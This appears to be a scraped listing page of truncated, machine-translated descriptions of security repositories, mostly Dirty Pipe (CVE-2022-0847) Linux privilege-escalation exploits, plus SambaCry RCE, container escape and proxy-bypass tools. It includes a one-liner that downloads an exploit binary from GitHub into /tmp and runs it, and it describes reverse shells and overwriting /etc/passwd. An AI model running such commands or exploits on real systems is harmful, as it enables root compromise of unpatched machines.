pipe_finder

Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...

dirty-pipe-poc

CVE-2022-0847 Dirty Pipe 脆弱性のための Sudo にユーザーを追加する POC エクスプロイト このリポジトリは、Max Kellermann によって作成された脆弱性、解説、およびエクスプロイトに基づいています。すべて こちら にあります。 他の皆さんと同じように、私は世界で最も簡単に再現可能な権限昇格を試してみる必要がありました。ブログ記事はそのすべてをうまく説明しています。 私はエクスプロイトを Python に翻訳しました。単に感触をつかむためですが、これは Sudo 権限昇格がハードコードされた C エクスプロイトの正確なコピーです。 必要条件...

traitor

Traitor 自動的に簡単な標的を悪用して root シェルを取得します。Linux の権限昇格を簡単にします！ Traitor は、root シェルを取得するために、ローカルの設定ミスや脆弱性を悪用する多数の手法をパッケージ化しています： ほぼすべての GTFOBins 書き込み可能な docker.sock CVE-2022-0847 Dirty pipe CVE-2021-4034 pwnkit CVE-2021-3560 GTFOBins に掲載されているほとんどの sudo 権限を悪用して root シェルを取得するほか、書き込み可能な docker.sock や最近の...

exploit-CVE-2017-7494

Samba 4.5.9 用 SambaCry RCE エクスプロイト Samba は、SMB/CIFS ネットワーキングプロトコルのフリーソフトウェアによる再実装です。Samba は、さまざまな Microsoft Windows クライアントに対してファイルサービスおよびプリントサービスを提供し、ドメインコントローラ DC またはドメインメンバーとして Microsoft Windows Server ドメインと統合できます。バージョン 4 以降、Active Directory および Microsoft Windows NT ドメインをサポートしています。 4.5.9...

CVE-2022-0847

CVE-2022-0847 Dirty Pipe Linuxカーネル権限昇格分析 toc 本記事は華為セキュリティ公式アカウントに初出掲載されたものです。こちらはブログ版（より完全な内容）です。 初出リンク:https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg 脆弱性概要 脆弱性ID: CVE-2022-0847 別名: ダーティパイプ dirty pipe 脆弱性対象: linux kernel - splice syscall 影響バージョン: linux 5.8 パッチ f6dd975583bd...

Dirty-Pipe

ワンラインエクスプロイト CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2022-0847-POC

CVE-2022-0847 CREDITS: root@kitploit: 脆弱性の作者: Max Kellermann Max Kellermann の説明: https://dirtypipe.cm4all.com/ リソース: root@kitploit: ページキャッシュ: https://manybutfinite.com/post/page-cache-the-affair-between-memory-and-files/ パイプ:...

CVE-2022-0847-dirty-pipe-checker

CVE-2022-0847-dirty-pipe-checker CVE-2022-0847「Dirty Pipe」をチェックするBashスクリプト https://dirtypipe.cm4all.com/ 使い方 現在のカーネルバージョンを確認する root@kitploit: ./dpipe.sh 特定のカーネルバージョンを確認する root@kitploit: ./dpipe.sh 5.10.11...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847 エクスプロイト実装 これは、CVE-2022-0847「Dirty Pipe Exploit」を使用して、外部マシン上で任意のコード実行を行うためのリバースBashシェルを起動する方法を示すPOCです。 この脆弱性はLinuxカーネルバージョン5.8以降にのみ影響しますが、バージョン5.16.11、5.15.25、5.10.102以降で修正されました。カーネルを更新してください : このエクスプロイトはセキュリティ研究者のMax...

Dirty-Pipe-CVE-2022-0847

Dirty-Pipe-CVE-2022-0847 CVE-2022-0847（Dirty Pipe）は、任意の読み取り専用ファイル（例: /etc/passwd、/etc/shadow）を変更または上書きすることで権限昇格を可能にする、任意ファイル上書きの脆弱性です。 手順 1. gcc cve-2022-0847-exploit.c -o cve-2022-0847-exploit を使用してコンパイルします。 2. ./cve-2022-0847-exploit でエクスプロイトを実行します。 免責事項 私は本脆弱性の発見またはコードに対する功績を一切主張するものではありません。...

thats_no_pipe

那不是管道 基于 Frida 的项目，用于拦截 Windows 命名管道通信 目标 本项目旨在通过 Hook 特定的 WinAPI 函数，并使用 WebSocket 将其转发到 HTTP 代理，从而拦截 IPC 通信。 架构 对命名管道的读取和写入可能发生在不同的函数中。在本节中，WriteFile 表示对命名管道的写入，ReadFile 表示对命名管道的读取。 被拦截时，待写入的数据遵循以下模式。 root@kitploit: WriteFile -- frida hook -- python process -- websocket client -- HTTP Proxy --...

CVE-2022-0847-Container-Escape

CVE-2022-0847-コンテナエスケープ CVE-2022-0847 はコンテナエスケープを達成するために使用されます。CVE-2022-0847 Dirty Pipe を利用してコンテナエスケープを実現します。 Go言語で実装...

CVE-2022-25636-PipeVersion

CVE-2022-25636 pipe 版本 使用 pipe-primitive 来利用 CVE-2022-25636，因此无需 kaslr 泄露，也无需绕过 smap smep ktpi : Q: pipe-primitive 是什么？ A: https://github.com/veritas501/pipe-primitive...

CVE-2022-0847-DirtyPipe-

CVE-2022-0847-DirtyPipe-Exploits A collection of exploits and documentation for penetration testers and red teamers that can be used to aid the exploitation of the Linux Dirty Pipe vulnerability. About The Vulnerability Dirty Pipe CVE-2022-0847 is a local privilege escalation vulnerability in the...

CVE-2022-0847

CVE-2022-0847 CVE-2022-0847 POC 链接：https://dirtypipe.cm4all.com/ 复现环境 root@kitploit: 该漏洞存在于从 v5.8 到 5.15 版本的 Ubuntu 内核中 例如 Linux 5.14.0-9parrot1-amd64 Linux kali 5.10.0-kali7-amd64 1 SMP Debian 5.10.28-1kali1 2021-04-12 x8664 GNU/Linux 依赖环境 root@kitploit: gcc 使用步骤 root@kitploit: git clone...

CVE-2022-0847

情報 root@kitploit: Exploit Title: Local Privilege Escalation in Linux kernel CVE-2022-0847 Date: 03/07/2022 Exploit Author: Max Kellermann Tested on: ubuntu 20.04.1 LTS Affect product:Linux kernel 5.8 or later Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102 CVE ID: CVE-2022-0847 攻撃方法 テスト環境：...

CVE-2024-0311

CVE-2024-0311 ？ 这是一个针对我认为 是 CVE-2024-0311、SB10418 的 PoC。 恶意内部人员无需有效的发布代码即可绕过 Skyhigh Client Proxy 的现有策略。 很多细节。非常利用。¯\ツ /¯ 该 PoC 会注入到用户运行的 SCPBypass.exe 进程中，并写入 SCPService.exe 的管道：\.\pipe\MCPTrayPipe0。 注入是必要的，因为即使管道是 RW Everyone，WGUARDNT 也会对写入管道的可执行文件进行一些检查（检查写入者路径），请参阅下文。 我们提供了一个示例 shellcode，即使在...

dirty-pipe

Dirty Pipe - CVE-2022-0847 これは、Max Kellermann の CVE-2022-0847 Dirty Pipe として知られる のエクスプロイトを使用するためのコードと手順です。 エクスプロイトの動作について詳しくは、https://dirtypipe.cm4all.com/ をご覧ください。 使用方法 1. エクスプロイトバイナリをダウンロードしてコンパイルする root@kitploit: git clone https://github.com/0xIronGoat/dirty-pipe.git cd dirty-pipe gcc exploit....

CVE-2022-0847

CVE-2022-0847 説明 - CVE-2022-0847 の POC: Linux カーネルのローカル権限昇格脆弱性。 詳細 - セキュリティ研究者の Max Kellermann 氏は責任を持って「Dirty Pipe」脆弱性を開示し、Linux カーネル 5.8 以降（Android デバイスを含む）に影響を与えると述べました。 - Linux カーネル 5.8 以降の脆弱性で、任意の読み取り専用ファイルのデータを上書きできるものです。これにより、権限のないプロセスが root プロセスにコードを注入できるため、権限昇格につながります。 - Linux カーネルの...

CVE-2022-0847

CVE-2022-0847 Dirty Pipe 脆弱性 教育目的のみ root@kitploit: ┌──vagrant㉿kali- └─$ ls -al /etc/passwd -rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd ┌──vagrant㉿kali- └─$ head -n 1 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh ┌──vagrant㉿kali- └─$ echo foo /etc/passwd zsh: permission denied: /etc/passw...